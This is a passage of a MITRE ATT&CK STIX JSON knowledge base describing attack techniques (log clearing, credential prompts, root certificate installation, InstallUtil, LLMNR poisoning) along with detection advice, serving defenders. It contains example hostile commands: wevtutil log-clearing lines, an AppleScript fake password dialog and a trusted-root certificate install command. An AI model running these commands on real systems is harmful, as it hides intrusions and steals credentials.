                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
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            "description": "Adversaries may delete or alter generated artifacts on a host system, including logs and potentially captured files such as quarantined malware. Locations and format of logs will vary, but typical organic system logs are captured as Windows events or Linux/macOS files such as [Bash History](https://attack.mitre.org/techniques/T1139) and /var/log/* .\n\nActions that interfere with eventing and other notifications that can be used to detect intrusion activity may compromise the integrity of security solutions, causing events to go unreported. They may also make forensic analysis and incident response more difficult due to lack of sufficient data to determine what occurred.\n\n### Clear Windows Event Logs\n\nWindows event logs are a record of a computer's alerts and notifications. Microsoft defines an event as \"any significant occurrence in the system or in a program that requires users to be notified or an entry added to a log.\" There are three system-defined sources of Events: System, Application, and Security.\n \nAdversaries performing actions related to account management, account logon and directory service access, etc. may choose to clear the events in order to hide their activities.\n\nThe event logs can be cleared with the following utility commands:\n\n* <code>wevtutil cl system</code>\n* <code>wevtutil cl application</code>\n* <code>wevtutil cl security</code>\n\nLogs may also be cleared through other mechanisms, such as [PowerShell](https://attack.mitre.org/techniques/T1086).",
            "external_references": [
                {
                    "external_id": "T1070",
                    "url": "https://attack.mitre.org/techniques/T1070",
                    "source_name": "mitre-attack"
                },
                {
                    "external_id": "CAPEC-93",
                    "url": "https://capec.mitre.org/data/definitions/93.html",
                    "source_name": "capec"
                },
                {
                    "url": "https://docs.microsoft.com/windows-server/administration/windows-commands/wevtutil",
                    "description": "Plett, C. et al.. (2017, October 16). wevtutil. Retrieved July 2, 2018.",
                    "source_name": "Microsoft wevtutil Oct 2017"
                },
                {
                    "url": "https://msdn.microsoft.com/library/system.diagnostics.eventlog.clear.aspx",
                    "description": "Microsoft. (n.d.). EventLog.Clear Method (). Retrieved July 2, 2018.",
                    "source_name": "Microsoft EventLog.Clear"
                },
                {
                    "url": "https://docs.microsoft.com/powershell/module/microsoft.powershell.management/clear-eventlog",
                    "description": "Microsoft. (n.d.). Clear-EventLog. Retrieved July 2, 2018.",
                    "source_name": "Microsoft Clear-EventLog"
                }
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            "x_mitre_version": "1.0",
            "x_mitre_contributors": [
                "Ed Williams, Trustwave, SpiderLabs"
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            "x_mitre_data_sources": [
                "File monitoring",
                "Process monitoring",
                "Process command-line parameters",
                "API monitoring",
                "Windows event logs"
            ],
            "x_mitre_defense_bypassed": [
                "Log analysis",
                "Host intrusion prevention systems",
                "Anti-virus"
            ],
            "x_mitre_detection": "File system monitoring may be used to detect improper deletion or modification of indicator files. For example, deleting Windows event logs (via native binaries (Citation: Microsoft wevtutil Oct 2017), API functions (Citation: Microsoft EventLog.Clear), or [PowerShell](https://attack.mitre.org/techniques/T1086) (Citation: Microsoft Clear-EventLog)) may generate an alterable event (Event ID 1102: \"The audit log was cleared\"). Events not stored on the file system may require different detection mechanisms.",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_system_requirements": [
                "Clearing the Windows event logs requires Administrator permissions"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "defense-evasion",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:30:55.892Z",
            "spec_version": "2.1",
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            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
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            "id": "attack-pattern--3b0e52ce-517a-4614-a523-1bd5deef6c5e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Indirect Command Execution",
            "description": "Various Windows utilities may be used to execute commands, possibly without invoking [cmd](https://attack.mitre.org/software/S0106). For example, [Forfiles](https://attack.mitre.org/software/S0193), the Program Compatibility Assistant (pcalua.exe), components of the Windows Subsystem for Linux (WSL), as well as other utilities may invoke the execution of programs and commands from a [Command-Line Interface](https://attack.mitre.org/techniques/T1059), Run window, or via scripts. (Citation: VectorSec ForFiles Aug 2017) (Citation: Evi1cg Forfiles Nov 2017)\n\nAdversaries may abuse these utilities for Defense Evasion, specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of [cmd](https://attack.mitre.org/software/S0106).",
            "external_references": [
                {
                    "external_id": "T1202",
                    "url": "https://attack.mitre.org/techniques/T1202",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://twitter.com/vector_sec/status/896049052642533376",
                    "description": "vector_sec. (2017, August 11). Defenders watching launches of cmd? What about forfiles?. Retrieved January 22, 2018.",
                    "source_name": "VectorSec ForFiles Aug 2017"
                },
                {
                    "url": "https://twitter.com/Evi1cg/status/935027922397573120",
                    "description": "Evi1cg. (2017, November 26). block cmd.exe ? try this :. Retrieved January 22, 2018.",
                    "source_name": "Evi1cg Forfiles Nov 2017"
                },
                {
                    "url": "https://community.rsa.com/community/products/netwitness/blog/2017/08/14/are-you-looking-out-for-forfilesexe-if-you-are-watching-for-cmdexe",
                    "description": "Partington, E. (2017, August 14). Are you looking out for forfiles.exe (if you are watching for cmd.exe). Retrieved January 22, 2018.",
                    "source_name": "RSA Forfiles Aug 2017"
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                "Process Monitoring",
                "Process command-line parameters",
                "Windows event logs"
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                "Process whitelisting",
                "Whitelisting by file name or path"
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            "x_mitre_detection": "Monitor and analyze logs from host-based detection mechanisms, such as Sysmon, for events such as process creations that include or are resulting from parameters associated with invoking programs/commands and/or spawning child processes. (Citation: RSA Forfiles Aug 2017)",
            "x_mitre_permissions_required": [
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            "x_mitre_platforms": [
                "Windows"
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            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "defense-evasion",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-04-18T17:59:24.739Z",
            "spec_version": "2.1",
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            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Input Capture",
            "description": "Adversaries can use methods of capturing user input for obtaining credentials for [Valid Accounts](https://attack.mitre.org/techniques/T1078) and information Collection that include keylogging and user input field interception.\n\nKeylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes, (Citation: Adventures of a Keystroke) but other methods exist to target information for specific purposes, such as performing a UAC prompt or wrapping the Windows default credential provider. (Citation: Wrightson 2012)\n\nKeylogging is likely to be used to acquire credentials for new access opportunities when [Credential Dumping](https://attack.mitre.org/techniques/T1003) efforts are not effective, and may require an adversary to remain passive on a system for a period of time before an opportunity arises.\n\nAdversaries may also install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through [External Remote Services](https://attack.mitre.org/techniques/T1133) and [Valid Accounts](https://attack.mitre.org/techniques/T1078) or as part of the initial compromise by exploitation of the externally facing web service. (Citation: Volexity Virtual Private Keylogging)",
            "external_references": [
                {
                    "external_id": "T1056",
                    "url": "https://attack.mitre.org/techniques/T1056",
                    "source_name": "mitre-attack"
                },
                {
                    "external_id": "CAPEC-569",
                    "url": "https://capec.mitre.org/data/definitions/569.html",
                    "source_name": "capec"
                },
                {
                    "url": "http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf",
                    "description": "Tinaztepe,  E. (n.d.). The Adventures of a Keystroke:  An in-depth look into keyloggers on Windows. Retrieved April 27, 2016.",
                    "source_name": "Adventures of a Keystroke"
                },
                {
                    "url": "https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/",
                    "description": "Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.",
                    "source_name": "Volexity Virtual Private Keylogging"
                },
                {
                    "url": "http://blog.leetsys.com/2012/01/02/capturing-windows-7-credentials-at-logon-using-custom-credential-provider/",
                    "description": "Wrightson, T. (2012, January 2). CAPTURING WINDOWS 7 CREDENTIALS AT LOGON USING CUSTOM CREDENTIAL PROVIDER. Retrieved November 12, 2014.",
                    "source_name": "Wrightson 2012"
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            "x_mitre_contributors": [
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                "Kernel drivers",
                "Process monitoring",
                "API monitoring"
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            "x_mitre_detection": "Keyloggers may take many forms, possibly involving modification to the Registry and installation of a driver, setting a hook, or polling to intercept keystrokes. Commonly used API calls include SetWindowsHook, GetKeyState, and GetAsyncKeyState. (Citation: Adventures of a Keystroke) Monitor the Registry and file system for such changes and detect driver installs, as well as looking for common keylogging API calls. API calls alone are not an indicator of keylogging, but may provide behavioral data that is useful when combined with other information such as new files written to disk and unusual processes.\n\nMonitor the Registry for the addition of a Custom Credential Provider. (Citation: Wrightson 2012) Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in use by adversaries may help to catch the result of user input interception if new techniques are used.",
            "x_mitre_permissions_required": [
                "Administrator",
                "SYSTEM"
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            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
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            "type": "attack-pattern",
            "kill_chain_phases": [
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                    "phase_name": "collection",
                    "kill_chain_name": "mitre-attack"
                },
                {
                    "phase_name": "credential-access",
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            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:30:48.323Z",
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            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
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            "id": "attack-pattern--91ce1ede-107f-4d8b-bf4c-735e8789c94b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Input Prompt",
            "description": "When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task. Adversaries can mimic this functionality to prompt users for credentials with a normal-looking prompt. This type of prompt can be accomplished with AppleScript:\n\n<code>set thePassword to the text returned of (display dialog \"AdobeUpdater needs permission to check for updates. Please authenticate.\" default answer \"\")</code>\n (Citation: OSX Keydnap malware)\n\nAdversaries can prompt a user for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite. (Citation: OSX Malware Exploits MacKeeper)",
            "external_references": [
                {
                    "external_id": "T1141",
                    "url": "https://attack.mitre.org/techniques/T1141",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/",
                    "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.",
                    "source_name": "OSX Keydnap malware"
                },
                {
                    "url": "https://baesystemsai.blogspot.com/2015/06/new-mac-os-malware-exploits-mackeeper.html",
                    "description": "Sergei Shevchenko. (2015, June 4). New Mac OS Malware Exploits Mackeeper. Retrieved July 3, 2017.",
                    "source_name": "OSX Malware Exploits MacKeeper"
                }
            ],
            "object_marking_refs": [
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            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "User interface",
                "Process Monitoring"
            ],
            "x_mitre_detection": "This technique exploits users' tendencies to always supply credentials when prompted, which makes it very difficult to detect. Monitor process execution for unusual programs as well as AppleScript that could be used to prompt users for credentials.",
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "credential-access",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--d519cfd5-f3a8-43a9-a846-ed0bb40672b1",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Install Root Certificate",
            "description": "Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate. (Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.\n\nInstallation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials. (Citation: Operation Emmental)\n\nAtypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide a man-in-the-middle capability for intercepting information transmitted over secure TLS/SSL communications. (Citation: Kaspersky Superfish)\n\nRoot certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence. (Citation: SpectorOps Code Signing Dec 2017)\n\nIn macOS, the Ay MaMi malware uses <code>/usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert</code> to install a malicious certificate as a trusted root certificate into the system keychain. (Citation: objective-see ay mami 2018)",
            "external_references": [
                {
                    "external_id": "T1130",
                    "url": "https://attack.mitre.org/techniques/T1130",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://en.wikipedia.org/wiki/Root_certificate",
                    "description": "Wikipedia. (2016, December 6). Root certificate. Retrieved February 20, 2017.",
                    "source_name": "Wikipedia Root Certificate"
                },
                {
                    "url": "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf",
                    "description": "Sancho, D., Hacquebord, F., Link, R. (2014, July 22). Finding Holes Operation Emmental. Retrieved February 9, 2016.",
                    "source_name": "Operation Emmental"
                },
                {
                    "url": "https://www.kaspersky.com/blog/lenovo-pc-with-adware-superfish-preinstalled/7712/",
                    "description": "Onuma. (2015, February 24). Superfish: Adware Preinstalled on Lenovo Laptops. Retrieved February 20, 2017.",
                    "source_name": "Kaspersky Superfish"
                },
                {
                    "url": "https://www.tripwire.com/state-of-security/off-topic/appunblocker-bypassing-applocker/",
                    "description": "Smith, T. (2016, October 27). AppUNBlocker: Bypassing AppLocker. Retrieved December 19, 2017.",
                    "source_name": "Tripwire AppUNBlocker"
                },
                {
                    "url": "https://objective-see.com/blog/blog_0x26.html",
                    "description": "Patrick Wardle. (2018, January 11). Ay MaMi. Retrieved March 19, 2018.",
                    "source_name": "objective-see ay mami 2018"
                },
                {
                    "url": "https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec",
                    "description": "Graeber, M. (2017, December 22). Code Signing Certificate Cloning Attacks and Defenses. Retrieved April 3, 2018.",
                    "source_name": "SpectorOps Code Signing Dec 2017"
                },
                {
                    "url": "https://docs.microsoft.com/sysinternals/downloads/sigcheck",
                    "description": "Russinovich, M. et al.. (2017, May 22). Sigcheck. Retrieved April 3, 2018.",
                    "source_name": "Microsoft Sigcheck May 2017"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_contributors": [
                "Itzik Kotler, SafeBreach",
                "Travis Smith, Tripwire",
                "Red Canary",
                "Matt Graeber, @mattifestation, SpecterOps"
            ],
            "x_mitre_data_sources": [
                "SSL/TLS inspection",
                "Digital Certificate Logs"
            ],
            "x_mitre_defense_bypassed": [
                "Digital Certificate Validation"
            ],
            "x_mitre_detection": "A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity. (Citation: SpectorOps Code Signing Dec 2017) Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present. Microsoft provides a list of trustworthy root certificates online and through authroot.stl. (Citation: SpectorOps Code Signing Dec 2017) The Sysinternals Sigcheck utility can also be used (<code>sigcheck[64].exe -tuv</code>) to dump the contents of the certificate store and list valid certificates not rooted to the Microsoft Certificate Trust List. (Citation: Microsoft Sigcheck May 2017)\n\nInstalled root certificates are located in the Registry under <code>HKLM\\SOFTWARE\\Microsoft\\EnterpriseCertificates\\Root\\Certificates\\</code> and <code>[HKLM or HKCU]\\Software[\\Policies\\]\\Microsoft\\SystemCertificates\\Root\\Certificates\\</code>. There are a subset of root certificates that are consistent across Windows systems and can be used for comparison: (Citation: Tripwire AppUNBlocker)\n\n* 18F7C1FCC3090203FD5BAA2F861A754976C8DD25\n* 245C97DF7514E7CF2DF8BE72AE957B9E04741E85\n* 3B1EFD3A66EA28B16697394703A72CA340A05BD5\n* 7F88CD7223F3C813818C994614A89C99FA3B5247\n* 8F43288AD272F3103B6FB1428485EA3014C0BCFE\n* A43489159A520F0D93D032CCAF37E7FE20A8B419\n* BE36A4562FB2EE05DBB3D32323ADF445084ED656\n* CDD4EEAE6000AC7F40C3802C171E30148030C072",
            "x_mitre_platforms": [
                "Linux",
                "Windows",
                "macOS"
            ],
            "x_mitre_permissions_required": [
                "Administrator",
                "User"
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            "type": "attack-pattern",
            "kill_chain_phases": [
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                    "phase_name": "defense-evasion",
                    "kill_chain_name": "mitre-attack"
                }
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            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:31:42.750Z",
            "spec_version": "2.1",
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            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--f792d02f-813d-402b-86a5-ab98cb391d3b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "InstallUtil",
            "description": "InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) InstallUtil is located in the .NET directories on a Windows system: <code>C:\\Windows\\Microsoft.NET\\Framework\\v<version>\\InstallUtil.exe</code> and <code>C:\\Windows\\Microsoft.NET\\Framework64\\v<version>\\InstallUtil.exe</code>. InstallUtil.exe is digitally signed by Microsoft.\n\nAdversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil may also be used to bypass process whitelisting through use of attributes within the binary that execute the class decorated with the attribute <code>[System.ComponentModel.RunInstaller(true)]</code>. (Citation: SubTee GitHub All The Things Application Whitelisting Bypass)",
            "external_references": [
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                    "external_id": "T1118",
                    "url": "https://attack.mitre.org/techniques/T1118",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://msdn.microsoft.com/en-us/library/50614e95.aspx",
                    "description": "Microsoft. (n.d.). Installutil.exe (Installer Tool). Retrieved July 1, 2016.",
                    "source_name": "MSDN InstallUtil"
                },
                {
                    "description": "[ Smith, C. (2016, August 17). Includes 5 Known Application Whitelisting/ Application Control Bypass Techniques in One File. Retrieved June 30, 2017.",
                    "source_name": "SubTee GitHub All The Things Application Whitelisting Bypass"
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            "x_mitre_data_sources": [
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            "x_mitre_contributors": [
                "Casey Smith",
                "Travis Smith, Tripwire"
            ],
            "x_mitre_defense_bypassed": [
                "Process whitelisting"
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            "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of InstallUtil.exe. Compare recent invocations of InstallUtil.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the InstallUtil.exe invocation may also be useful in determining the origin and purpose of the binary being executed.",
            "x_mitre_permissions_required": [
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                    "url": "https://attack.mitre.org/techniques/T1208",
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                    "url": "https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/",
                    "description": "Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018.",
                    "source_name": "Microsoft Detecting Kerberoasting Feb 2018"
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                    "url": "https://social.technet.microsoft.com/wiki/contents/articles/717.service-principal-names-spns-setspn-syntax-setspn-exe.aspx",
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                    "description": "Medin, T. (2014, November). Attacking Kerberos - Kicking the Guard Dog of Hades. Retrieved March 22, 2018.",
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                    "description": "EmpireProject. (2016, October 31). Invoke-Kerberoast.ps1. Retrieved March 22, 2018.",
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                    "description": "Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \u2013 Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.",
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                    "url": "https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/",
                    "description": "Schroeder, W. (2016, November 1). Kerberoasting Without Mimikatz. Retrieved March 23, 2018.",
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                    "url": "https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf",
                    "description": "Pomerantz, O., Salzman, P. (2003, April 4). The  (Citation: Linux Kernel Module Programming Guide). Retrieved April 6, 2018.",
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                    "url": "http://www.tldp.org/LDP/lkmpg/2.4/html/x437.html",
                    "description": "Pomerantz, O., Salzman, P. (2003, April 4). Modules vs Programs. Retrieved April 6, 2018.",
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                    "url": "http://www.megasecurity.org/papers/Rootkits.pdf",
                    "description": "Chuvakin, A. (2003, February). An Overview of Rootkits. Retrieved April 6, 2018.",
                    "source_name": "iDefense Rootkit Overview"
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                    "url": "https://www.rsaconference.com/writable/presentations/file_upload/ht-r03-malware-persistence-on-os-x-yosemite_final.pdf",
                    "description": "Wardle, P. (2015, April). Malware Persistence on OS X Yosemite. Retrieved April 6, 2018.",
                    "source_name": "RSAC 2015 San Francisco Patrick Wardle"
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                    "url": "https://www.synack.com/2017/09/08/high-sierras-secure-kernel-extension-loading-is-broken/",
                    "description": "Wardle, P. (2017, September 8). High Sierra\u2019s \u2018Secure Kernel Extension Loading\u2019 is Broken. Retrieved April 6, 2018.",
                    "source_name": "Synack Secure Kernel Extension Broken"
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                {
                    "url": "https://securelist.com/the-ventir-trojan-assemble-your-macos-spy/67267/",
                    "description": "Mikhail, K. (2014, October 16). The Ventir Trojan: assemble your MacOS spy. Retrieved April 6, 2018.",
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                    "url": "https://en.wikipedia.org/wiki/Loadable_kernel_module#Linux",
                    "description": "Wikipedia. (2018, March 17). Loadable kernel module. Retrieved April 9, 2018.",
                    "source_name": "Wikipedia Loadable Kernel Module"
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                    "url": "http://tldp.org/HOWTO/Module-HOWTO/x197.html",
                    "description": "Henderson, B. (2006, September 24). How To Insert And Remove LKMs. Retrieved April 9, 2018.",
                    "source_name": "Linux Loadable Kernel Module Insert and Remove LKMs"
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                    "url": "https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/",
                    "description": "Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. Retrieved December 21, 2017.",
                    "source_name": "CrowdStrike Linux Rootkit"
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                    "url": "https://github.com/f0rb1dd3n/Reptile",
                    "description": "Augusto, I. (2018, March 8). Reptile - LMK Linux rootkit. Retrieved April 9, 2018.",
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                    "description": "Mello, V. (2018, March 8). Diamorphine - LMK rootkit for Linux Kernels 2.6.x/3.x/4.x (x86 and x86_64). Retrieved April 9, 2018.",
                    "source_name": "GitHub Diamorphine"
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                    "url": "https://volatility-labs.blogspot.com/2012/10/phalanx-2-revealed-using-volatility-to.html",
                    "description": "Case, A. (2012, October 10). Phalanx 2 Revealed: Using Volatility to Analyze an Advanced Linux Rootkit. Retrieved April 9, 2018.",
                    "source_name": "Volatility Phalanx2"
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                    "url": "https://en.wikipedia.org/wiki/Keychain_(software)",
                    "description": "Wikipedia. (n.d.). Keychain (software). Retrieved July 5, 2017.",
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                    "url": "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way",
                    "description": "Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017.",
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            "x_mitre_permissions_required": [
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            "name": "LC_LOAD_DYLIB Addition",
            "description": "Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long adjustments are made to the rest of the fields and dependencies (Citation: Writing Bad Malware for OSX). There are tools available to perform these changes. Any changes will invalidate digital signatures on binaries because the binary is being modified. Adversaries can remediate this issue by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn\u2019t checked at load time (Citation: Malware Persistence on OS X).",
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                    "url": "https://attack.mitre.org/techniques/T1161",
                    "source_name": "mitre-attack"
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                {
                    "url": "https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf",
                    "description": "Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017.",
                    "source_name": "Writing Bad Malware for OSX"
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            "x_mitre_permissions_required": [
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            "description": "As of OS X 10.8, mach-O binaries introduced a new header called LC_MAIN that points to the binary\u2019s entry point for execution. Previously, there were two headers to achieve this same effect: LC_THREAD and LC_UNIXTHREAD  (Citation: Prolific OSX Malware History). The entry point for a binary can be hijacked so that initial execution flows to a malicious addition (either another section or a code cave) and then goes back to the initial entry point so that the victim doesn\u2019t know anything was different  (Citation: Methods of Mac Malware Persistence). By modifying a binary in this way, application whitelisting can be bypassed because the file name or application path is still the same.",
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                    "url": "https://assets.documentcloud.org/documents/2459197/bit9-carbon-black-threat-research-report-2015.pdf",
                    "description": "Bit9 + Carbon Black Threat Research Team. (2015). 2015: The Most Prolific Year in History for OS X Malware. Retrieved July 8, 2017.",
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                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
                    "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
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                {
                    "url": "https://en.wikipedia.org/wiki/Link-Local_Multicast_Name_Resolution",
                    "description": "Wikipedia. (2016, July 7). Link-Local Multicast Name Resolution. Retrieved November 17, 2017.",
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                },
                {
                    "url": "https://technet.microsoft.com/library/cc958811.aspx",
                    "description": "Microsoft. (n.d.). NetBIOS Name Resolution. Retrieved November 17, 2017.",
                    "source_name": "TechNet NetBIOS"
                },
                {
                    "url": "https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning",
                    "description": "Sternstein, J. (2013, November). Local Network Attacks: LLMNR and NBT-NS Poisoning. Retrieved November 17, 2017.",
                    "source_name": "Sternsecurity LLMNR-NBTNS"
                },
                {
                    "url": "https://github.com/Kevin-Robertson/Conveigh",
                    "description": "Robertson, K. (2016, August 28). Conveigh. Retrieved November 17, 2017.",
                    "source_name": "GitHub Conveigh"
                },
                {
                    "url": "https://github.com/SpiderLabs/Responder",
                    "description": "Gaffie, L. (2016, August 25). Responder. Retrieved November 17, 2017.",
                    "source_name": "GitHub Responder"
                },
                {
                    "url": "https://github.com/nomex/nbnspoof",
                    "description": "Nomex. (2014, February 7). NBNSpoof. Retrieved November 17, 2017.",
                    "source_name": "GitHub NBNSpoof"
                },
                {
                    "url": "https://www.rapid7.com/db/modules/auxiliary/spoof/llmnr/llmnr_response",
                    "description": "Francois, R. (n.d.). LLMNR Spoofer. Retrieved November 17, 2017.",
                    "source_name": "Rapid7 LLMNR Spoofer"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_contributors": [
                "Matthew Demaske, Adaptforward"
            ],
            "x_mitre_data_sources": [
                "Windows Registry",
                "Packet capture",
                "Netflow/Enclave netflow"
            ],
            "x_mitre_detection": "Monitor <code>HKLM\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient</code> for changes to the \"EnableMulticast\" DWORD value. A value of \u201c0\u201d indicates LLMNR is disabled. (Citation: Sternsecurity LLMNR-NBTNS)\n\nMonitor for traffic on ports UDP 5355 and UDP 137 if LLMNR/NetBIOS is disabled by security policy.\n\nDeploy an LLMNR/NBT-NS spoofing detection tool. (Citation: GitHub Conveigh)",
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "credential-access",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-01-16T16:13:52.465Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--6e6845c2-347a-4a6f-a2d1-b74a18ebd352",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "LSASS Driver",
            "description": "The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process. (Citation: Microsoft Security Subsystem)\n\nAdversaries may target lsass.exe drivers to obtain execution and/or persistence. By either replacing or adding illegitimate drivers (e.g., [DLL Side-Loading](https://attack.mitre.org/techniques/T1073) or [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038)), an adversary can achieve arbitrary code execution triggered by continuous LSA operations.",
            "external_references": [
                {
                    "external_id": "T1177",
                    "url": "https://attack.mitre.org/techniques/T1177",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://technet.microsoft.com/library/cc961760.aspx",
                    "description": "Microsoft. (n.d.). Security Subsystem Architecture. Retrieved November 27, 2017.",
                    "source_name": "Microsoft Security Subsystem"
                },
                {
                    "url": "https://technet.microsoft.com/library/dn408187.aspx",
                    "description": "Microsoft. (2014, March 12). Configuring Additional LSA Protection. Retrieved November 27, 2017.",
